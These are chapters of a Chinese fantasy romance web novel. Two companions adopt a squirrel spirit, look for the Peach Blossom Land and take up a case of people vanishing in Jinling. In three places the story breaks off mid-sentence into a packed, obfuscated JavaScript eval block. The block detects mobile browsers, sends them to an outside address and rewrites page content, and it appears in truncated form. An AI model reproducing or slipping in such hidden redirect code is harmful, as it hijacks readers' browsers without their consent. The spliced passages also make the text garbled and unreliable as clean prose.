路植晏走上前,一把将它拎起:“快点说,你将大家的钱财都藏哪儿了?” 见黄毛半天不说话,长吟几欲出鞘,发出威胁的灼灼光华,烛火随着剑风疯狂跃动。 路植晏的瞳孔也在电光的照耀下,渐渐收缩。 看见如此骇人目光,黄毛吓得一个激灵,挣扎了几下,却发现力气早就用光了。 “我说我说,我带你们去,别杀我啊啊啊——” 路植晏冷哼一声,果然还得来硬的。 “我说你们给我松绑吧,我这样走不快。” 黄毛一会说走不动,一会儿抱怨太困,最后索性一屁股坐在地上,撒泼滚来滚去:“好累好累,人家不要走了嘛~” 阿咦西—— “人家要背背嘛~” 谢惊春胳膊上立起的鸡皮疙瘩如同支支利箭,巴不得扎在黄毛喉咙上,让它立马闭嘴。 这声音,实在是很难分辨出它是男孩子还是女孩子。 “要不我明天早带你们来吧,我保证不跑。” 谢惊春冷声:“怎么能听小偷的建议?” 有一句话叫什么,夜长梦多。 黄毛又念叨了半天,可惊春和路植晏愣是一句话都不再理它,便也偃旗息鼓。 过了许久,它实在是忍不住,又开始叽里呱啦:“你们看着不像是捉妖司的人,你们是哪儿的?是三正法司的?” 黄毛被路植晏定了形,今夜还不能变回小松鼠的模样。 它双手被绑着,倒退着走,想和他们面对面说话,时不时还蹦得高高的来吸引注意。 可惜,这两个人就像签了契约愣是一声没吭。 好不容易走到松林,小妖精带领着他们来到自己的藏珍库,哼哧哼哧巴拉半天,那些珠宝才显露出来,一时间,仿若周围都亮堂了些。 “小妖怪,你为什么……”谢惊春实在是对黄毛二字叫不出口。 “请叫我黄毛嘛~”听到终于有人主动要和自己说话,它的眼睛亮了起来。 谢惊春无奈,嗫嚅半天问道:“黄毛,你为什么要偷这些东西?反正于你而言又没有什么用处。” “我就是觉得好看,就像你身上的这些东西,也没有什么用吧。” 她顿时无话可说,这理由简单粗暴,她也只是喜欢精致好看的玩意儿。 “我又没杀人,想必也不会惊动三正,这说明你们只是路过这里,那你们本来是要去哪儿?” 黄毛知道自己既打不过又逃不脱后,再也没了刚开始的气势,而是想方设法地找他们聊天,活脱脱一个话痨松鼠。 谢惊春盯着它的大尾巴,心里痒痒还是想摸,顺口回了一句:“反正也不顺路。” 它走在二人中间,沾满露水的尾巴在他们的衣摆处扫来扫去:“你不说怎么知道顺不顺路呢?我是要去找桃花源,你们也说嘛说嘛~” 月色迁移,星光闪烁,田野中成片的油菜花随着夜风如浪涌动,月色倾注在鲜艳的黄海中,路植晏额角的发丝轻动,目光却骤然冷冽。 “怎……怎么了?”小妖精被看得心虚,“实在不想说就算了,我也……” “你找桃源做什么?” 谢惊春瞥了一眼路植晏的目光,知道他定会觉得小松鼠的出现是预谋,连忙抢在他之前问。 小妖怪瑟瑟道:“桃花源就是我的家啊,我师父说了,像我这种道行不高的小妖精在人世间呆久了,就会被浊气浸染,失去本心,只会变成通过吃人以求快速精进妖力的邪魔。我是偷跑出来的,想回去时却发现桃花源不在原来的地方了。” 这有点太巧了。 路植晏眸色逐渐收敛,他蹲下身,勾起嘴角,指着自己的别妄铃:“你可识得此物?” 黄毛歪着脑袋仔细瞧了瞧,两只耳朵抖了抖:“有点熟悉,好像在哪儿见过。嗯……我才出来不久,既然能感到熟悉,那必然是因为我在桃花源见过它!” 夜深露重,泛着莹光的露珠悄悄从草尖滴落,落在黄毛的脚上,让它不禁微微颤抖了一下。 高马尾从颈侧随意落下,发丝间藏缀着串着小方孔钱的暗红扭绳,以及如松针粗细的银铃链,少年浑身都散发着一股随意的凌厉,他淡淡问道:“你若是不早点回到桃花源,是不是就会吃人?” “我师父是这样说的。” 须臾,路植晏心中有了决断。 “以后你跟着我们,不许乱跑。我们会帮你找到桃花源。”他突然抬眸看向惊春,一圈星点随着他的眼睫开合,“你觉得如何?” 谢惊春愣了愣,没有想到路植晏会问自己的意见,她心中却丝毫不排斥,毕竟心心念念那个尾巴很久了。 “我都行。” 小松鼠立刻蹦了起来,声音中是无法复刻的喜悦:“真的吗?!” 随后,它居然哭了起来,墨黑的眼珠中聚起了小露珠似的泪水。 本只是对它的可爱和茸毛感兴趣的谢惊春,心中霎时软了下来,连忙轻抚着它的小脑袋,顺便撸撸耳朵:“怎么哭了呀?小松鼠。” 一旁的路植晏有些惊讶,这样柔和温婉,袅袅如水的声音居然是从谢惊春的嘴中流出来的。 她的声音没什么特殊的,和一般十五六岁的女孩子差不多。 但是现在她蹲在那儿,像个青团,声音如同雨后晨雾,蜜浸玉露,轻轻地化开了。 “别哭了小松鼠,我们以后就一起啦,但是偷东西可不能再有喽。” 咦—— 意识到自己发出的是夹子音,谢惊春直接龇牙拧眉,嫌弃似地闭了嘴。 随意扫了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14028519|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便和路植晏对视,她自己都不知道为什么要慌忙解释:“啊……我平时又不夹。” “无所谓,反正不都是你的声音?” 相处久了,她偶尔蹦出来奇奇怪怪的话,本在路植晏眼中都是因为乱用词语,现在竟也基本上听得懂。 只是他漫不经心,倒显得她局促不定了。 “我就是觉得太孤独了,才会偷这些好看的东西来陪我。”黄毛收了泪,随后十分积极地跑起来,“现在我们把这些东西拿回去吧!” 第二日,他们将那些银子和首饰全部还给大鹅村之后,黄毛表示自己还偷了他们的瓜果吃食,这些东西无法归还,便用了点小妖法保他们的庄稼不会受到任何害虫的侵袭,也不用施肥便可拥有丰厚的收获。 大鹅村民风淳朴,见好就收,见黄毛态度诚恳,便也没再追究。 谢惊春还特地叮嘱让它一定要以松鼠的模样出现,把小手放在胸前,越呆萌真挚越好。 果然,本来有几个村民想要骂它几句,可对着地上那么小一只,瞬间气消了。 千恩万谢后,路植晏和谢惊春才得以从人群中跑出来,大口呼着新鲜空气。 “这些都是我师父教我的小妖法,怎么样,很厉害吧!”黄毛骄傲地走在前面,“我师父很懒,最喜欢做的事就是看它种的东西开花结果,所以才研究出了这些法术。” 余霞成绮,在云层四周勾勒出残阳光晕,如同镶嵌着妍丽的金边,熏风吹面,谢惊春自顾喃喃:“好舒服啊。” 好久没有这么惬意,她长长地伸了个懒腰:“你师父?你师父也是松鼠吗?” 小松鼠在田埂上奔跑,长长尾巴似乎拖出一条迤逦的斜照,融入天边的赤黄云海中去。 “我师父不是松鼠,它是只慢悠悠的大乌龟。” 它的声音散在风中,随后又被长风裹挟,传至四面八方,仿若从天际云层穿梭而来。 谢惊春突然也想跑起来,这种久违的自由的感觉,太让人陶醉。 她将包和剑都取下来,直接丢给身后的路植晏,自己跑去追松鼠去了。 路植晏一脸懵,莫名其妙地接住一大兜子东西,“谢惊春,你……” 话还没说,罪魁祸首早跑远了。 丢又不能丢,没得办法,他重重叹了一口气,也学着她平时的样子将包斜挎在肩上。 路植晏发誓,下次再被谢惊春算计,给她拿东西,他就……他就把头发全束。 谢惊春撵上松鼠,一把将它抱起,太喜欢这种毛娃子的感觉了,她记得以前最大的愿望就是养一只猫或狗,但是身边没人同意,也只能不了了之。 自从黄毛加入他们的桃花源搜寻小队后,路植晏明显感受到谢惊春和他对喷的时间少了,很多时候都是哄着黄毛变回小松鼠的模样,把它抱着或者放在肩头。有时候甚至连他说话都不理,竟觉得有些不适应。 “你把它放下来,马上就要进金陵,太显眼了。”路植晏对于这两个一天到晚组装在一起的人和松鼠十分不满,“还有你也是,你下来。” 谢惊春和黄毛扭头看向他:“为什么?” “万一被捉妖司的人看到呢?虽然你没吃人,但是会带来不必要的麻烦。” 谢惊春想了想,觉得十分有道理,正欲将黄毛放下,却听到它说:“可我道行浅,没有专门的法器和符阵,他们是察觉不出的。” 专门的法器,路植晏心中的疑惑再次被掀起。 谢惊春也想了起来:“小松鼠,你离他这么近不觉得难受吗?” 松鼠眨巴着纯真的眼睛,有些不解:“难受?不难受啊。” 怎么会?除了凌阳喰妖拥有「固心目」,别妄铃从来没失误过。 不对,别妄铃对谢惊春也失误过。 可是当时路植晏能确定惊春是人,便取了她的头发融入铃铛,如此就不会让谢惊春感到痛苦。 他后来也会想起这件事,暗里也观察过她,结果也只是更加确定她是人而已,便也只当作一次偶然。 可如今别妄铃再次反向失灵,实在很难当成偶然。 “松鼠,你身上有你们桃花源的三大隐气法器吗?” “固心目,蔽气珠,藏妖木,都已经不在桃花源了,所以我肯定没有。不过你们真的放心,没有别妄铃,没人能感受到我这微乎其微的妖气的。而且……” 它突然看向路植晏的耳朵,惊讶出声:“你这个好像……不对,好像不是。” 可它马上又把小爪子紧紧抱住自己,耳朵轻微动起来,做思考状,想了想才说道:“你的耳铃很像我们桃花源的别妄铃,但好像又不是。” 这次换谢惊春和路植晏惊讶了:“不是?!” 松鼠从谢惊春后颈处绕过,跳上路植晏的肩膀。 它轻轻碰了一下别妄铃,随后歪头将自己的耳朵紧贴铃铛,丝丝清脆而悠扬才传出。 它点点头,更加肯定地说道:“绝对不是。首先,声音就不对,其次,外观不对。” 在两个人无比震惊的眼神中,小松鼠继续说:“真正的别妄铃声音会更高且短促一些,当然一般人是听不出来的,毕竟别妄铃太小且差别细微。再者,真正的铃铛上有一个字——「妙」,而这个,却没有。” “所以,这个要么是仿造,要么是…… 改造。” 23. 松鼠与金陵(三) 路植晏的眉头凝起沉色,看向肩头:“改造?” “我并不确定,但至少知道的是,这绝对不是桃花源最开始的法器。所以它对我无效,倒也不是不可能。” 黄毛跳回谢惊春身上:“若是我师父的话,定会一眼瞧出这是仿造还是改造。” “你去桃花源,找到妙成女君,将别妄铃给她。” 想起路思贤的话,路植晏沉静地问道:“妙成女君,是谁?” “妙成女君,是我们桃花源曾经的信仰,只不过我从未见过。” 谢惊春敏锐地抓住字眼:“曾经?” “听说十六年前,她便自我封印了。这是桃花源的秘辛,几乎没妖怪谈论,我了解的也并不多。” 嚯,这桃花源这么神秘的吗? 谢惊春心中突然好想赶紧亲眼看一看这传说中的桃花源。 路植晏思忖良久,才断然说道:“罢了,等找到桃花源再说吧。” 谢惊春和小黄毛点点头,继续以组装式走在他前面。 烟雨中的金陵城刚复了晴明,空气中还透着一股林木清新的味道。岸上人声鼎沸,车马来回,湖上三三两两地飘着几艘小船。 有女子趴在船头假寐,暖暖的阳光轻柔地照在她的脸上,将精致白皙的脸儿照得明媚。如玉藕般的手臂随意地搭在舟缘,一身覆纱衣如湖面般波光粼粼。 小手正有意无意地挑弄着水面的水草,有的已经开出了小小的花儿来。 岸上的垂杨柳轻抚这镶了碎钻似的水面,不多时便被靠岸的船只催移,上岸之人的嬉闹声此起彼伏。 整个金陵城都弥漫着一种烟火气的宁静与祥和。 【宿主,很近。】 系统的提示让谢惊春脑海中掠过一丝窃喜,她立马环顾一圈。 此时对方的系统应当也会提醒,可是却没有看到和她一样的环视之人。 人群熙攘,各家有各家的喜忧,各人有各人的行程,忽高忽低的声音悉数飞入耳朵,惊春茫然地看向四周。 “谢惊春?” 路植晏和松鼠的声音像是被隔绝,被隔绝在这漫天的人间烟火中。 “爹爹,我想吃糖人!” “走走走,明日你便要去乐州,咱们得好好喝几杯。” “云娘,我烧的菜是不是顶好吃?” “臭小子,昨日陈夫子说你没去学堂,你干什么去了?!” “小心吹着风。” 呼吸声在自己耳边如雷,谢惊春眨眼,耳畔似乎被帷帽的纱帘擦过,柔软,温和,平常。 【就在身边!】 所有的声音急急收缩,仿佛从天际传来的声音都在这一刻回归至身边,嘈杂而模糊。 唢呐声由远及近,接着,唢呐一停,哀嚎齐齐呼来,人人避让。 有人办丧事。 漫天白纸挥洒,满目凄凉。 他们随着人群退了几步,静默着等待队伍过去。 “哟,这太守儿子刚死,怎么又举丧?” “你不知道了吧,太守夫人失子悲切,日日郁郁寡欢,自缢了!” “那太守大人也是怪可怜的!儿子找不见了,如今发妻也……” “快别提了,妻子儿子相继去世,就连女儿也从一个月前变得不正常。你看看,宋大人一贯守礼,今日妻子出殡居然未露面!虽说荒唐,但肯定是打击太大,无法接受。哎呦,宋大人可别想不开。” “你小声点……” 待抬棺队伍离开后,周围开始有人议论,纷纷表达着对太守的怜悯。 人世间红白事日日有,路植晏和谢惊春并未多做停留,等待送丧队伍过去,他们便动身去找客栈。 只是刚走出几步,就听到—— “真是你们两个啊!” 这熟悉的声音! 谢惊春和路植晏眼睛瞬间一亮,同时准备回过头去,却蓦的觉得肩膀一沉。 赵无悲一身捉妖司的红色官服,朝若霞举,身上依旧背着弓箭,双手重重地搭在他们的肩膀上,气喘吁吁,因跑过来的,面上还挂着红润。 “赵公子?” 路植晏侧身一歪,险些让赵无悲一个趔趄摔倒在地。 赵无悲递给路植晏一个受伤的眼神,随后又满面春风地问道:“路兄,惊春姑娘,你们怎么会在金陵城?” 他虽问着,但也没给他们机会回答,而是自顾思索起来:“让我猜猜,你们也是为了那妖怪而来?” “妖?金陵有妖?”路植晏看了一眼还在怔神的谢惊春。 少女低着头,微蹙的眉头隐藏在轻颤的刘海中,看不清在想些什么。 【已经走出一些距离了。】 河面上出行来往的船只越来越多,马车来往哒哒,谢惊春的心绪随着人群乱撞,在听到系统的这句话时才缓缓回神。 “听说是有,但是……”赵无悲的话在看到松鼠的那一刻,全部话都匿在了喉中,指着松鼠叫道,“它,它不就是?!” 因为刚才赵无悲搭肩膀的动作,把松鼠甩地上去了,此时它是以小孩的模样站在地上,看得出来很生气。 “我叫黄毛。”郑重地说完这几个字,黄毛踩了赵无悲一脚。 谢惊春将它抱起,脸上又恢复了神采:“赵公子,它与我们同行。” 赵无悲嘴角向下,甩了甩脚,长长地嗷了一声。 几人落座街边茶肆,咕噜咕噜的开水挤开壶盖,如浓雾般的烟气也在这一刻得到彻底释放,毫无章法地围绕幌子升升降降。 “七人,已经有七人失踪了。”赵无悲目光左右扫视,才做贼似的低声说道。 日光照耀,清风压水面,那些浅波时不时映出痉挛般的刺眼浮光。 谢惊春抱着松鼠的手紧了紧,但马上又松开:“赵公子现在在捉妖司任职,是正在查此案?” “也是三天前才开始由捉妖司接手,大家一开始都以为是人为,可没有查出一丝线索,才怀疑是妖。” 路植晏撑着额角,抿了一口茶:“那如今呢?” 赵无悲摇了摇头,叹了口气:“老大正想着要不要请三正出面呢,只是他怕这样显得捉妖司无能,但若不尽早解决此事,便会有第八人,第九人。” 说完,他意味深长地看了谢惊春和路植晏一眼:“我在想……” 路植晏:“你在想,让我们两个暗中协助?” 赵无悲狠狠点头:“是也是也。” “啪”的一声,路植晏从怀中掏出一枚玉牌,倒扣在桌面上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044999|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碧色玉牌如雨后青竹,在他的指缝间游走,上面的「三正法司」四字雕刻得狷狂而细长。 “三正自会管,只是,我有个要求。” 赵无悲目色中闪过一丝欣喜:“有何要求,路兄但说无妨。” 路植晏突然向前倾身:“所有卷宗我们都要看。” “那是自然。只是,捉妖司拿的都是刻本,太守府是否有未尽卷宗,就无从得知了。” 谢惊春在一旁听得云里雾里,就算交接案件,又关太守府何事?怀疑是人为之时,查案应当依旧由衙门来办才是。 她一脸懵懂地举手提问:“这里这里,我想问一下,这关太守府何事?” 赵无悲站起身,轻敲桌面。 路植晏和谢惊春对视一眼,随着他站起身。 他们转身来到客栈包厢,赵无悲卸下弓箭,从窗缝处依旧能看到热闹的街道。 他掩上窗户,将二人拥着坐下:“因为一月前死的第一个人,就是太守的儿子,宋揭。” “太守悲痛欲绝,亲自督案,所有案册都会先送入太守府。” 赵无悲顿了一下,神色凝重:“但是这几日我们接手以后发现某些地方,有问题。” 夏日如同半熟的酸梅,晴阴缭乱,将将还是水光潋滟晴方好,此时天边白云却染上浊色,朝着日光逼近。 如同一只大手遮蔽了半边天空,偶尔从云层中侥幸透过的几分澄明,也会立马被挤压,被覆盖。 乌云慢慢蠕动着,前进着。 路植晏没说话。 谢惊春也没说话。 她还没有自满到觉得自己能够起到什么重大作用。 说实话,谢惊春有点想置身事外。 如果不是因为和路植晏绑定了,加之一个人不敢乱跑,再加之另一个穿书人离自己很近,她巴不得即刻跑路,即刻离开金陵城。 想想也是,在现实生活中,虽说没有什么怪力乱神,可如果知道身边有个连杀八人的凶手,一般人的反应都只会是——搬家。 没有谁会想着自己去查案,顶天祈求警察叔叔能够尽早将这个杀人犯逮捕归案,赶紧枪毙,让死者安息。 更何况她还只是个学生,更何况她还只是刚学了几个月法术的菜鸟。 赵无悲见没人理他故意抛出的问题,无奈抽出一支筷子,点了点桌面,自问自答:“死者有问题。” 刚说完,他又拍了拍嘴:“不对不对,“忘记说了,这六人准确来说不是死了,而是,消失了。”” 路植晏盯着赵无悲,没有出言打断,只是眼底蕴起了疑色。 “除宋揭外,剩下六人为三男三女,都是同一天出生,丙巳,二十三岁,而唯有宋揭是二十岁。” 谢惊春歪着头,听了个大概,心中忍不住发毛。 路植晏身子后仰,靠在椅子上,长叹一口气,转头瞧见谢惊春疯狂地摸着快被薅秃了的松鼠:“谢大小姐,这么紧张?不会忘了在当阳山下自己说的什么话了吧?” 自从到了金陵城,她整个人就时时不在状态。 “嗯?啊……还行。”谢惊春将松鼠放在自己肩头,支支吾吾地说道。 没有得到预想中的跳脚反驳,路植晏心里莫名很不爽。 24. 松鼠与金陵(四) 暮色四合,太守府。 府邸花园里尽是各色牡丹,在黑夜中依然绽放着独特的姿彩,午后悄然而至的一阵细雨,将它们浇了个湿透,却更显妖艳夺目。 几滴残留的雨珠摇摇欲坠,挣扎许久才啪嗒掉落,让破败落红更深陷泥淖。 只是偌大的太守府,却没什么人气,廊下还挂着没来得及撤下的白绫,在夜风中悠悠飘荡,久久也只能看见一两个丫鬟仆从路过。 连办完两场白事,确实很难洋溢起生气。 待至深夜,漆黑的夜幕像是巨大的罩子将整个世间都罩在了一起,只留出星星点点的出口在空中闪烁,皎月被云朵遮蔽了一大半。 “小姐,大人说了,您还不能……” 西院一间紧锁的屋中传出一句人声。 “喵——” 一声尖锐的猫叫随之而来。 在静谧如死水的府中着实有些突兀,甚至有些瘆人。 “他……咳咳咳,他到底想关我到什么时候?” 娇弱无力的声音中却透着几分愤怒和刚毅。 “少爷和夫人相继离去,大人说过他只剩您一个亲人了,万万不能让您有任何闪失。” 小丫鬟镜儿的声音都快带出哭腔,服侍小姐这么多年,却亲眼见证一月间太守府发生这么大变故,她心中也觉得难受。 为太守大人难受,为从小孱弱的小姐难受。 宋如遇一身粉色长裙曳地,广袖遮身,姣好的面容上苍白如纸。 烛火摇曳,昏黄的烛光在她的粉裙上轻闪,才将她映衬得稍稍有些神采。 只是双目中的不悦却依旧显而易见。 她艰难地站起身,在镜儿的搀扶下坐到窗前。 一只黑猫从窗台上跃下,自觉地依偎在宋如遇怀中。 “你觉得……咳咳,他当真是这样想的?” 黑猫在她怀中蹭了蹭脑袋,仿佛也在担心主人的身体。 丫鬟连忙检查窗户是否关紧,正欲劝说小姐赶紧回去睡觉,却听到这样一句话,有些震惊和疑惑。 “小姐这是何话?大人自然是不想失去您,才将您关起来。如今人心惶惶的,谁都害怕自己会成为下一个目标。” 说完,她凑至宋如遇耳边:“今日奴婢陪您偷跑出去,听到了些许风声……说是,妖邪作祟。” 流水依旧潺潺,园外凤尾竹簌簌作响,几株待开之花悄悄绽放,甚是娇艳,风掠廊檐,檐角下的惊鸟铃轻曳。 宋如遇一怔,但马上就嗤笑一声:“人与妖不都一样,都会杀人。” 她有一搭没一搭地摸着猫身,说这句话时,竟难得的流畅,未带任何咳声。 镜儿不知自家小姐为何会说出这样的话,但奈何又不晓得怎么反驳,嗫嚅了半晌,也说不出个所以然来。 但是她可以肯定的是,小姐变了。 服侍宋如遇十几年,不敢夸言对其了如指掌,但起码能猜出她的一些心思。 可自从一个月前,小姐的身体状况虽比以前好了些,心思却越来越神秘了。 小姐会时不时发抖,嘴里一直念叨着:“怎么办怎么办?鬼,我看见鬼了!” 第一次有这种症状时,宋如遇全身都抖成了筛糠,甚至直接晕了过去,昏了一整天才转醒。 请郎中来看,也只是说小姐看到什么恐怖的东西,受了刺激,得了癔症。 顿时府中上下都炸开了锅,丫鬟仆从连夜逃的逃,请辞的请辞,三天之内基本上跑了个光。 若不是太守抬高月俸,留下些不信这些以及不怕死的,怕是连基本的起居都得太守亲自操劳了。 “小姐,话不能这么说,人与人之间情感牵扯之盛,哪能是妖怪能比的?” 宋如遇捻着帕子又轻咳了几声,抬头看着小丫鬟,似乎是等着她继续说。 镜儿以为小姐觉得自己说得有道理,不禁打起精神来:“小姐你看,亲人之情,男女之情,朋友之情,主仆之情,师生之情等等,这些情感可都是妖怪所没有的。” “比如……”镜儿偷偷扫了一眼小姐,掰着指头的手停住了,“比如我和小姐的主仆之情。如果危险来临,我定愿意用我的命换小姐的命。” 宋如遇瞳孔一颤,不可思议地看着她,随后笑着打她的手:“呸呸呸,说的什么话!” 镜儿嘿嘿地傻笑,也不收手。 宋如遇打了两下,又拉过她的手,指着她手背上的黑痦:“真想把这个给点了!” “点了?”镜儿不明白点痦是什么意思。 宋如遇捏着她肉乎乎的脸蛋,开玩笑道:“就是给剜了。” *** “路兄,案册卷宗全部在此。” 赵无悲端出一摞厚厚的书卷,桌面上的灰尘在烛火下飞扬。 “凭三正的玉牌令,哪怕说要整个捉妖司都听你的,都是轻而易举。何必如此大费周章,让我带你偷偷溜进来看案册?” 谢惊春还没想到三正这么大脸,甚是诧异。 不过更让她奇怪的是,正如赵无悲所说,路植晏为何不走夹道欢迎的大门,偏偏要像做贼一样偷跑进来。 “个人爱好。”路植晏盘坐在地,一脸无所谓地答道。 他一边快速地翻看,一边头也不抬地说道:“你们最好也赶紧看。” 谢惊春随便拿起一本,想着能帮上点忙就帮上点吧,却在翻开第一页就震惊了。 借着烛光,路植晏看见她反常的神色:“你发现可疑之处了?” 赵无悲和黄毛也凑上前:“什么什么?哪里可疑了?” 路植晏看着平平无奇的第一页,面露狐疑:“你到底,在震惊些什么?” “不是,我只是看不懂而已。” 这些案册写得晦涩难懂也就罢了,抄书人还是个书法不过关的,写得歪七扭八,好多字她都看不清,只有寥寥几句能猜出意思。 堂堂公职人员,这么重要的案宗居然抄写得这般随便。 “太守府是不是被盯上了啊。” 谢惊春盯着烛光,一屁股坐在地上,呆呆地说出这样一句话。 “人实在很难做到一个月内连杀七人,还能将他们的尸体藏地如此密不透风。这些死者中,除了太守府的两人,不对,应当是三,其他六人都是毫无关系。” 她的身形匿在黑暗中,唯面上有跳跃的烛火映衬,似乎照了些白皙的少女绒毛。 路植晏看着她的背影,接上话茬:“所以怀疑是妖怪吃人,合情合理。” 松鼠尖声低叫道:“我不看了,你们看吧,我还只是个孩子。” 说罢,它将书册盖在脸上,四仰八叉地躺在那儿。 赵无悲一把将它拎起:“怎么,因为凶手是你的同类,所以选择逃避?” 一听这话,黄毛立刻一跳三尺高:“春春不都和你说了吗?我是好妖,我不吃人,我喜欢吃坚果和水果!” 赵无悲立马回道:“我只是说出我的猜测,你这么急干什么?” “这位赵公子,你是不是家人被妖怪吃了,所以才对我这种小妖意见都那么大呢?!” “你!”赵无悲气得说不出话来,转身坐到路植晏和谢惊春中间,狠狠地剜了松鼠一眼。 谢惊春将松鼠抱在怀中,揉了揉太阳穴,“你们两真是够了,待会把执勤的人引过来才罢休吗?” 松鼠依偎在她怀中,甩着自己的大尾巴,一脸得意地赵无悲吐了吐舌头。 路植晏低头看案册,一丝不苟的模样,似乎完全未受影响。 突然,他推了推赵无悲。 “怎么了?你有新发现?” “嘶,你挡着我光了。” 赵无悲转身看了看,只看到谢惊春边摸松鼠边艰难看案册的背影,他指着路植晏身旁的蜡烛,不满道:“你旁边不是有蜡烛吗?谢姑娘身前的光也不是你的。” “两路光同时照着才看得更清楚,反正你挡着了。” 路植晏抬起头,一副“反正就是这样,你看着办”的表情。 “哼,路兄,连你也欺负我!”赵无悲气愤地自己拿起一盏蜡烛,坐得离他们远远的。 谢惊春摇了摇头,突然觉得自己也不是很幼稚。 她看得眼睛发红,本着实践出真知的道理,她提议:“其实我感觉,去一趟太守府,或许能查出什么?” 赵无悲在远处伸出头来:“谢姑娘,我也是这样想的!妖物多夜里作祟,不若我们夜时去一趟吧。” “好。” 天边泛起鱼肚白,曙光自东方刺过来,越过山头,跨过长河,将明亮洒满人间。 赵无悲急促地说道:“天快亮了,你们先回客栈,我中午吃饭再去找你们。” 待到明晃晃的日头全部升起,它便如一道旨意般催使世间运作。 他们没想到,只觉片刻功夫,竟消了一整夜。 在赵无悲的指引下,他们绕过各种隐藏小门,才出了捉妖司。 繁华街道上的吆喝声此起彼伏,惊春停在一个小摊铺面前。小摊铺不仅卖裱纸和香,还卖各种装饰玩意,小泥人,木雕,无事牌,串核红绳等等,一眼望过去,琳琅满目。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085753|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 摊铺正对巷口,深巷里传来淡淡的檀香味,似乎能听到梵音靡靡,里面应藏着一座寺庙。 路植晏正同她说这话,独自走了一段路,才发现她没有跟上来。 “这个好看,哇,都好好看啊!” “还有这个,小松鼠,你觉得呢?” “我也觉得好好看啊,春春,我也想要一个!” 面对眼前的花花绿绿,谢惊春目不暇给,瞬间就走不动了。 她拿起一个松鼠小木雕串成的挂坠,对着自己的腰比划比划,又往小松鼠脖间一套。 “还可以,小松鼠,以后这就是你的身份牌了。” 黄毛非常满意,逮着惊春的脸蛋儿啵了一口:“我超爱的!” 谢惊春骄傲地哼了一声,又试着将其他挂坠垂在斜挎包上,发现竟意外的合适。 “这些,这些,还有那些,全要了。” 摊贩乐呵呵地笑着,心想今天算是遇到金主了,便继续开口劝诱:“姑娘,再过几日就是十五,要不要再买些束香去灵安寺拜拜?” “灵安寺?”谢惊春回头看了看巷口,“是不是就在这巷子里面?” “是啊是啊,姑娘,我看你是外地来的吧,哎呦,这灵安寺可灵验了!像姑娘妙龄,求个良缘是绝对不成问题的。” 说出来可能很多人不信,谢惊春长这么大,一次庙里都没去过哩。 她和黄毛对视一眼,同时露出心驰神往的表情。 “行行行,那我十五那天再来。” 摊贩怕到手的生意就这样跑了,恨不得拽住谢惊春的胳膊:“别啊姑娘,十五那天我也得去拜佛,可不定还在这儿。” “没事,那我十四再来。” “姑娘实话跟你说了吧,这两个月金陵不安生,我几乎天天都会去寺里保平安,出摊时间都不定的,你若不趁此机会买了,十五那天可难买到了。” “不安生?敢问老板是否知晓什么?”路植晏双手环胸,不知何时站在她们身后,黑着一张脸,突然开口。 谢惊春回头,吓了一个激灵:“喔!你吓我一跳。” “哎,不还是失踪案车迟迟没破,捉妖司和县衙都捂嘴不让百姓议论,我可是偷偷和两位说的啊。”摊贩清了清嗓子,鬼鬼祟祟地左右环顾,将身子倾出,“我怀疑捉妖司早查出妖匿于在何处,只是此妖已身居高位,牵扯利益太大,再加上彻底融入咱们平常人的生活习惯,凡人难辨,被包庇了而已。” 路植晏沉吟一会,还赞同似的点点头,摊贩顿时觉得自豪无比,果然是众人皆睡而我独醒,一语惊醒梦中人。 却不料此人抬起头,面透狡猾:“阁下敢这样说?不怕我们就是捉妖司的?” “怎么可能……”摊贩笃定地摆摆手,却突然一愣,仔细看了他们的装扮后,两眼瞪得老大,连连捂上嘴,“二位,我可是瞎说的!” 说着,他赶紧从自己的小箱箧中掏出一小把铜钱,手都在微微颤抖:“我今天就赚了这些,全都给你们,求二位可不要将我的话传出去!” “让你多嘴,让你多嘴!”摊贩自言自语,还试图抽自己耳光,却被谢惊春抓住手腕。 “放心,我们不会说的,这人就是卖关子,只是想提醒你一番而已,以后不要随便说了,特别是这种没证据只是凭空猜测的事情。” 路植晏不以为然:“说不定我待会得闲就上报捉妖司。” 摊贩刚刚松下去的肩膀再次如临大敌,自然而然地将求助的眼光投向谢惊春。 “不用理他。” “是是是,下次不会了,二位,这些东西我就不要你的钱了,算是送你的!” “那不行,该付还得付。” 松鼠此时就像个暴发户,脖子上整整叠套了三个项链。 谢惊春自己倒是有自知之明,知晓身上已经有够多的装饰了,于是将那些五彩斑斓的花扭绳,又是木雕,又是仿玉,悉数挂在看起来破破烂烂的包包上,企图增添些色彩。 离了小货摊,谢惊春对着路植晏扬了扬手中的五彩布条:“你说黑缨象征剑术最高等,那这种彩色又象征了什么?” 路植晏翻了个白眼,随后垂下眼睫,目光呆滞地看着她:“象征着赶紧走。” 